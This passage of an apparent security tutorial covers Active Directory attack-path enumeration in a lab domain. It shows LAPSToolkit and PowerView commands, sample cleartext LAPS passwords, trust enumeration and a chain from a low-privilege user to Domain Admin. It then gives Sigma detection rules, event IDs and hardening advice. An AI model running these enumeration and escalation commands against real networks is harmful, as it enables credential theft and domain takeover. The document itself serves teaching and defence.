OU=Workstations,DC=lab,DC=local lab\Helpdesk ReadProperty, ExtendedRight
A subtle, commonly missed point: anyone with All Extended Rights on a computer object can read the LAPS password, and the account that joined a machine to the domain automatically receives All Extended Rights on it. With ms-DS-MachineAccountQuota = 10, any standard user can join up to ten machines and inherit LAPS read on each. That is why hardening the quota matters.
LAPSToolkit (leoloobeek) automates this enumeration:
. .\LAPSToolkit.ps1
Find-LAPSDelegatedGroups
Find-AdmPwdExtendedRights
Get-LAPSComputers
# Find-LAPSDelegatedGroups
OrgUnit Delegated Groups
------- ----------------
OU=Workstations,DC=lab,DC=local lab\Helpdesk
# Find-AdmPwdExtendedRights
ComputerName Identity Rights
------------ -------- ------
WS01.lab.local lab\Helpdesk All Extended Rights
# Get-LAPSComputers
ComputerName Password Expiration
------------ -------- ----------
WS01.lab.local 7Vx@9kLm!2Qp4nRt 5/14/2024 3:00:00 AM
WS02.lab.local Bq!8zWn3@LpK6mDc 5/14/2024 3:00:00 AM
Note the version difference. Windows LAPS v2 (built into Windows Server 2022 and the April 2023 update) uses msLAPS-Password, msLAPS-PasswordExpirationTime, and msLAPS-EncryptedPassword. If the encrypted attribute is in use, the password is DPAPI-protected and not directly readable from LDAP, so your enumeration must pivot to the legacy attributes or to the principals authorized to decrypt. Always check which schema is deployed before assuming a cleartext read.

12. Trust Enumeration
Trusts let principals in one domain access resources in another. The direction and transitivity dictate which attacks travel across the boundary. Get-DomainTrust enumerates them via the DSEnumerateDomainTrusts() API and LDAP under the hood.
Get-DomainTrust | Select-Object SourceName, TargetName, TrustDirection, TrustType, TrustAttributes
SourceName TargetName TrustDirection TrustType TrustAttributes
---------- ---------- -------------- --------- ---------------
lab.local dev.lab.local Bidirectional WINDOWS_ACTIVE_DIRECTORY WITHIN_FOREST
lab.local partner.ext Inbound WINDOWS_ACTIVE_DIRECTORY FOREST_TRANSITIVE, FILTER_SIDS
Get-ForestTrust | Select-Object SourceName, TargetName, TrustDirection, TrustAttributes
SourceName TargetName TrustDirection TrustAttributes
---------- ---------- -------------- ---------------
lab.local partner.ext Inbound FOREST_TRANSITIVE, FILTER_SIDS
Read this carefully. The dev.lab.local trust is WITHIN_FOREST and bidirectional, which means it is fully transitive and SID filtering does not apply inside a forest. Compromise of dev.lab.local is effectively compromise of lab.local via SID-History injection, because the krbtgt of either domain can forge tickets the other trusts. The partner.ext forest trust shows FILTER_SIDS, meaning SID filtering is enabled and SID-History injection is blocked across that boundary.
Trust knowledge enables SID-History injection, Pass-the-Ticket, and cross-domain Kerberoasting. This maps to T1482 (Domain Trust Discovery).
13. Building the Full Object Graph
Each section produced an isolated fact. The value is in chaining them. Take the edges you found and order them by how directly they reach Domain Admin:
| Edge (Source -> Target) | Primitive | Right | Outcome |
|---|---|---|---|
lowpriv -> Helpdesk (member) | Group membership | n/a | Inherits all Helpdesk rights |
Helpdesk -> WS01/WS02 | GPO local admin | Restricted Groups | Local admin, credential dump |
Helpdesk -> WS01 LAPS | LDAP read | ReadProperty ms-Mcs-AdmPwd | Cleartext local admin password |
Helpdesk -> jsmith | Password reset | ForceChangePassword | Take over jsmith |
Helpdesk -> WS01$ | DACL takeover | WriteDacl | Grant self GenericAll, RBCD attack |
svc_backup -> OU=Servers | OU control | GenericAll | Push ACLs to all servers |
svc_da in Domain Admins | Kerberoast | SPN present | Crack TGS offline -> DA |
lab.local <-> dev.lab.local | Intra-forest trust | No SID filter | SID-History to DA |
The fastest path: lowpriv is in Helpdesk, Helpdesk reads LAPS for WS01, WS01 likely caches svc_da or a DA session, dump LSASS, escalate. Use Find-DomainUserLocation to confirm where the high-value accounts actually sit:
Find-DomainUserLocation -UserGroupIdentity "Domain Admins"
UserDomain UserName ComputerName SessionFromName
---------- -------- ------------ ---------------
lab svc_da WS01.lab.local 10.10.10.21
svc_da has a session on WS01, the very box you have local admin on via LAPS. The chain closes.
Export findings for offline analysis with the thread-safe CSV helper:
Export-PowerViewCSV -InputObject (Get-DomainUser) -Path .\users.csv
# users.csv written: 47 user objects, 312 properties serialized
For visual traversal, hand the graph to BloodHound. SharpHound collects the same data plus session and ACL edges and renders shortest-path queries. BloodHound is a separate tool; cross-reference its paths against your PowerView findings to validate them.
Invoke-BloodHound -CollectionMethod "All,GPOLocalGroup" -OutputDirectory .\BH_Output\
[*] Resolved Collection Methods: Group, LocalAdmin, Session, ACL, GPOLocalGroup, ...
[*] Beginning LDAP search for lab.local
[*] Status: 312 objects finished (+312 1560/s) -- Using 84 MB RAM
[*] Compressing data to .\BH_Output\20240510131207_BloodHound.zip
[*] Done! Enumeration completed in 00:00:14
Load the zip into the BloodHound GUI and run “Shortest Paths to Domain Admins.” It should draw the exact chain you assembled by hand, which is the confirmation that your manual enumeration was complete.

14. Detection, Defense and Hardening
Everything above is loud if the right logging is on. PowerView’s LDAP queries, PowerShell execution, and AD object reads all leave traces.
Windows Event IDs
| Event ID | Log | What It Records |
|---|---|---|
4662 | Security | Operation on an AD object: fires on object reads once Directory Service Access auditing is enabled |
4661 | Security | Handle to a SAM object requested (SAM enumeration) |
4624 | Security | Account logon: correlate to the enumeration session source IP |
4688 / Sysmon 1 | Security / Sysmon | Process creation: powershell.exe with suspicious parent |
4103 | PowerShell/Operational | Module logging: pipeline command records |
4104 | PowerShell/Operational | Script Block Logging: full script block text, catches PowerView function names |
ETW and Sysmon
| Provider | Catches |
|---|---|
Microsoft-Windows-PowerShell | 4103 / 4104 script and module events |
Microsoft-Windows-LDAP-Client | Client-side DirectorySearcher queries |
Microsoft-Windows-Security-Auditing | 4662, 4661, 4624 |
Microsoft-Windows-Sysmon | Event 1 (process create), Event 3 (network connect to DC 389/636/9389) |
Enable Script Block Logging via registry or GPO:
HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
EnableScriptBlockLogging = 1
The 4103/4104 events are identical across Windows PowerShell 5.1 and PowerShell 7, so query both powershell.exe and pwsh.exe sources in your SIEM. An attacker who switches engines otherwise splits across log channels.
Sigma Rules
Detect PowerView usage from script block content:
title: PowerView Domain Enumeration via Script Block Logging
logsource:
product: windows
category: ps_script # EventID 4104
detection:
selection:
ScriptBlockText|contains:
- 'Get-DomainUser'
- 'Get-DomainComputer'
- 'Find-InterestingDomainAcl'
- 'Invoke-UserImpersonation'
- 'Get-DomainGPO'
- 'Find-DomainShare'
- 'ms-Mcs-AdmPwd'
condition: selection
level: high
Detect the AD-module fallback (the ADWS evasion path):
title: Suspicious AD Management DLL Import
logsource:
product: windows
category: ps_script
detection:
selection:
ScriptBlockText|contains|all:
- 'Import-Module'
- 'Microsoft.ActiveDirectory.Management.dll'
selection_alt:
ScriptBlockText|contains: 'ipmo Microsoft.ActiveDirectory.Management.dll'
condition: selection or selection_alt
level: medium
Detect noisy LDAP recon on the DC itself with the SigmaHQ win_ldap_recon pattern, which keys on EventID 1644 (LDAP query statistics) when expensive or inefficient query thresholds are exceeded.
Hardening
- Enable Script Block Logging (4104) and Module Logging (4103) domain-wide via GPO.
- Enable Audit Directory Service Access so AD object reads generate
4662. - Set
ms-DS-MachineAccountQuota = 0so standard users cannot join machines and inherit All Extended Rights (and LAPS read). - Audit LAPS delegations regularly with
Find-AdmPwdExtendedRights; strip All Extended Rights from non-admin groups; move to Windows LAPS v2 withmsLAPS-EncryptedPassword. - Add privileged accounts to the Protected Users group to block credential caching and delegation abuse.
- Lock down SYSVOL and
gpLinkread paths so GPO files do not leak configuration. - Deploy AMSI and alert on bypass patterns (obfuscated
[Ref].Assembly...strings in 4104 events). - Enforce a tiered administration model so a low-priv foothold cannot pivot to Tier 0.
- Monitor DC ports 389/636/9389 with Sysmon Event 3 from workstation
powershell.exe; that is a high-fidelity recon signal. - Remember Constrained Language Mode is not a complete control: it cripples PowerView but the signed AD module still enumerates the domain, so do not rely on CLM alone.
Tools
| Tool | Description | Link |
|---|---|---|
| PowerView | Pure-PowerShell AD enumeration (PowerSploit/Recon) | github.com/PowerShellMafia/PowerSploit |
| LAPSToolkit | LAPS delegation and password enumeration | github.com/leoloobeek/LAPSToolkit |
| BloodHound / SharpHound | AD attack-path graph collection and visualization | bloodhound.specterops.io |
| WinObj / Process Hacker | Object and process inspection on hosts | sysinternals.com |
| Sysmon | Process, network, and thread telemetry | sysinternals.com |
MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Account Discovery: Domain Account | T1087.002 | 4104 (Get-DomainUser), 4662 |
| Permission Groups Discovery: Domain Groups | T1069.002 | 4104 (Get-DomainGroupMember) |
| Remote System Discovery | T1018 | 4104 (Get-DomainComputer), LDAP 1644 |
| Domain Trust Discovery | T1482 | 4104 (Get-DomainTrust), 4662 |
| Group Policy Discovery | T1615 | 4104 (Get-DomainGPO), SYSVOL access |
| Network Share Discovery | T1135 | Sysmon 3, 4104 (Find-DomainShare) |
| Password Policy Discovery | T1201 | 4104 (Get-DomainPolicy) |
| Unsecured Credentials: Credentials In Files | T1552.001 | File access auditing on shares |
| Valid Accounts: Domain Accounts | T1078.002 | 4624 anomalous local-admin logon (LAPS) |
Summary
- A single low-privilege domain user can read almost the entire directory over LDAP, which is why PowerView turns a foothold into a full attack-path map.
- Enumerate in order: domain baseline, users, groups, computers, OUs, GPOs, shares, ACLs, LAPS, trusts, and each output narrows the next query through
distinguishedName,gpLink, and SIDs. - The real escalation lives in ACEs and LAPS delegation:
WriteDacl,GenericAll,ForceChangePassword, andReadPropertyonms-Mcs-AdmPwdare the edges that reach Domain Admin. - Chain the findings into a prioritized graph and validate it against BloodHound; manual enumeration and automated graphing should agree.
- Detect it with Script Block Logging (4104), Directory Service Access auditing (4662), and Sysmon network events to the DC, and harden by setting
ms-DS-MachineAccountQuota = 0, tightening LAPS delegation, and enforcing a tiered admin model.
Related Tutorials
- Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration
- Handle Tables & Object Manager